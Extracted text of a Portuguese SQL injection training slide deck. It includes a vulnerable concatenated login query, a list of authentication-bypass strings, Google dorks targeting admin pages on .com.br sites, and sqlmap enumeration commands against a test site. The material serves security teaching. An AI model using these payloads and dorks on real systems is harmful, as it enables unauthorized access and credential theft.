16
7/21/2019 Módulo 02 03 - SQL Injection http://slidepdf.com/reader/full/modulo-02-03-sql-injection 1/16

Módulo 02 03 - SQL Injection

  • Upload
    lurian

  • View
    219

  • Download
    0

Embed Size (px)

DESCRIPTION

a

Citation preview

Page 1: Módulo 02 03 - SQL Injection

7/21/2019 Módulo 02 03 - SQL Injection

http://slidepdf.com/reader/full/modulo-02-03-sql-injection 1/16

Page 2: Módulo 02 03 - SQL Injection

7/21/2019 Módulo 02 03 - SQL Injection

http://slidepdf.com/reader/full/modulo-02-03-sql-injection 2/16

O que temos pra hoje?

Temas de Hoje: •   SQL Injection Básico

• Conceito

• Entendendo as Strings

• Utilizando Dorks

• Exemplo Prático• Exemplos de Dorks

• Exemplos de Strings

•   SQL Injection Intermediário

• Conceito

• Diferença entre SQL Injection e Blind Sql Injection

• Coletando Bancos de Dados• Coletando Tabelas e Colunas

• Coletando senhas

• Coletando informações sobre o Servidor 

Formação: Analise em Segurança da Informação – SQL Injection Básico

Page 3: Módulo 02 03 - SQL Injection

7/21/2019 Módulo 02 03 - SQL Injection

http://slidepdf.com/reader/full/modulo-02-03-sql-injection 3/16

SQL Injection Básico

Formação: Analise em Segurança da Informação – SQL Injection Básico

Page 4: Módulo 02 03 - SQL Injection

7/21/2019 Módulo 02 03 - SQL Injection

http://slidepdf.com/reader/full/modulo-02-03-sql-injection 4/16

SQL Injection

 A Injeção de SQL, mais conhecida através do termo americano SQL Injection, é

um tipo de ameaça de segurança que se aproveita de falhas em sistemas que

interagem com bases de dados via SQL. A injeção de SQL ocorre quando o

atacante consegue inserir uma série de instruções SQL dentro de uma consulta

(query) através da manipulação das entradas de dados de uma aplicação

Formação: Analise em Segurança da Informação – SQL Injection Básico

Page 5: Módulo 02 03 - SQL Injection

7/21/2019 Módulo 02 03 - SQL Injection

http://slidepdf.com/reader/full/modulo-02-03-sql-injection 5/16

Sql Injection Básico

Também é considerado SQL Injection o fato de enganar o form com uma falha de

programação.

Vamos ao exemplo de um código de validação de usuário:var query = "SELECT * FROM usuarios WHERE login = '" + login +"' AND senha = '" + senha + "'" ; 

SELECT * FROM usuarios WHERE login = ' ' ' AND password = '[password]' ;

Vamos supor que adicionamos aos campos de usuário e senha o seguinte item.

' or 1=1 --

SELECT * FROM usuarios WHERE login = or 1=1- - AND senha = [senha] ;

Formação: Analise em Segurança da Informação – SQL Injection Básico

Page 6: Módulo 02 03 - SQL Injection

7/21/2019 Módulo 02 03 - SQL Injection

http://slidepdf.com/reader/full/modulo-02-03-sql-injection 6/16

Sql Injection Básico - Exemplo

DORK

inurl:"adm/index.asp" site:com.br 

Formação: Analise em Segurança da Informação – SQL Injection Básico

Page 7: Módulo 02 03 - SQL Injection

7/21/2019 Módulo 02 03 - SQL Injection

http://slidepdf.com/reader/full/modulo-02-03-sql-injection 7/16

Sql Injection Básico - Dorks

Outras Dorks:allinurl:/webadmin/default.asp

allinurl:/menu_admin/default.asp

allinurl:/menu_admin/index.asp

allinurl:/menu_admin/login.asp

allinurl:/noticias/admin/

allinurl:/news/admin/

allinurl:/cadastro/admin/

allinurl:/portal/admin/

allinurl:/site/admin/

allinurl:/home/admin.asp

allinurl:/home/admin/index.asp

allinurl:/home/admin/default.asp

allinurl:/home/admin/login.asp

allinurl:/web/admin/index.asp

Formação: Analise em Segurança da Informação – SQL Injection Básico

Page 8: Módulo 02 03 - SQL Injection

7/21/2019 Módulo 02 03 - SQL Injection

http://slidepdf.com/reader/full/modulo-02-03-sql-injection 8/16

Sql Injection Básico - Strings

Variação de Strings:admin'--

' or 0=0 --

" or 0=0 --

or 0=0 --

' or 0=0 #

" or 0=0 #

or 0=0 #

' or 'x'='x

" or "x"="x

') or ('x'='x

' or 1=1--

" or 1=1--

or 1=1--

Formação: Analise em Segurança da Informação – SQL Injection Básico

' or a=a--

" or "a"="a

') or ('a'='a

") or ("a"="a

hi" or "a"="a

hi" or 1=1 --

hi' or 1=1 --

hi' or 'a'='a

hi') or ('a'='ahi") or ("a"="a

Page 9: Módulo 02 03 - SQL Injection

7/21/2019 Módulo 02 03 - SQL Injection

http://slidepdf.com/reader/full/modulo-02-03-sql-injection 9/16

SQL Injection x Blind SQL

 A Injeção de SQL, mais conhecida através do termo americano SQL Injection, é

um tipo de ameaça de segurança que se aproveita de falhas em sistemas que

interagem com bases de dados via SQL. A injeção de SQL ocorre quando o

atacante consegue inserir uma série de instruções SQL dentro de uma consulta

(query) através da manipulação das entradas de dados de uma aplicação

Formação: Analise em Segurança da Informação – SQL Injection Básico

Page 10: Módulo 02 03 - SQL Injection

7/21/2019 Módulo 02 03 - SQL Injection

http://slidepdf.com/reader/full/modulo-02-03-sql-injection 10/16

SQL Injection x Blind SQL

Qual a diferença entre SQL Injection e Blind Sql Injection?

Formação: Analise em Segurança da Informação – SQL Injection Básico

Page 11: Módulo 02 03 - SQL Injection

7/21/2019 Módulo 02 03 - SQL Injection

http://slidepdf.com/reader/full/modulo-02-03-sql-injection 11/16

SQLMap

SQLMAP

String: sqlmap --url "http://testphp.vulnweb.com/listproducts.php?cat=1" –[opções]

Formação: Analise em Segurança da Informação – SQL Injection Básico

Page 12: Módulo 02 03 - SQL Injection

7/21/2019 Módulo 02 03 - SQL Injection

http://slidepdf.com/reader/full/modulo-02-03-sql-injection 12/16

SQLMap

“Sqlmap é uma ferramenta open source para penetration test que automatiza o

processo de detecção e exploiting de vulnerabilidades a Sqli Injection, é escrita

em python e tem suporte tanto GNU linux ou windows.”

O sqlmap além de oferecer as funções para detectar e explorar asvulnerabilidades a SQLI, ele consegue também tentar “dominar” o sistema de

banco de dados se for possivel.

Formação: Analise em Segurança da Informação – SQL Injection Básico

Page 13: Módulo 02 03 - SQL Injection

7/21/2019 Módulo 02 03 - SQL Injection

http://slidepdf.com/reader/full/modulo-02-03-sql-injection 13/16

SQLMap

--help

Mostra as opções do SQLMAP

--current-db

 Apresenta o banco de dados atual

Exemplo: ./sqlmap.py --url "http://testphp.vulnweb.com/listproducts.php?cat=1" --current-db

--banner 

Pega o Banner do DBMS

Exemplo: ./sqlmap.py --url "http://testphp.vulnweb.com/listproducts.php?cat=1" -b

--dbs

Lista os bancos de dados do DBMSExemplo: ./sqlmap.py --url "http://testphp.vulnweb.com/listproducts.php?cat=1" --dbs

DBMS: “Database Management System”, sistema gerenciador de banco de dados

Formação: Analise em Segurança da Informação – SQL Injection Básico

Page 14: Módulo 02 03 - SQL Injection

7/21/2019 Módulo 02 03 - SQL Injection

http://slidepdf.com/reader/full/modulo-02-03-sql-injection 14/16

Page 15: Módulo 02 03 - SQL Injection

7/21/2019 Módulo 02 03 - SQL Injection

http://slidepdf.com/reader/full/modulo-02-03-sql-injection 15/16

SQLMap

--current-user 

 Apresenta o usuário ao qual a página está usando para se conectar ao banco

Exemplo: ./sqlmap.py --url "http://testphp.vulnweb.com/listproducts.php?cat=1" --current-user 

--is-dba

Verifica se o usuário atual é administrador do BancoExemplo: ./sqlmap.py --url "http://testphp.vulnweb.com/listproducts.php?cat=1" --is-dba

--users

Enumera todos os usuários

Exemplo: ./sqlmap.py --url "http://testphp.vulnweb.com/listproducts.php?cat=1" --users

--searchVarre o banco atrás do que você procura, pode ser um banco, tabela ou coluna

Exemplo: ./sqlmap.py --url "http://testphp.vulnweb.com/listproducts.php?cat=1" --search –C ‘pass’ 

Formação: Analise em Segurança da Informação – SQL Injection Básico

Page 16: Módulo 02 03 - SQL Injection

7/21/2019 Módulo 02 03 - SQL Injection

http://slidepdf.com/reader/full/modulo-02-03-sql-injection 16/16

E-mail: [email protected] 

Twitter : @esecuritybr e @desafiohacker 

Skype: desafiohacker 

Fanpage: www.facebook.com/academiahacker 

printf ("\Chega por hoje\n");

www.eSecurity.com.br 

Formação: Analise em Segurança da Informação – SQL Injection Básico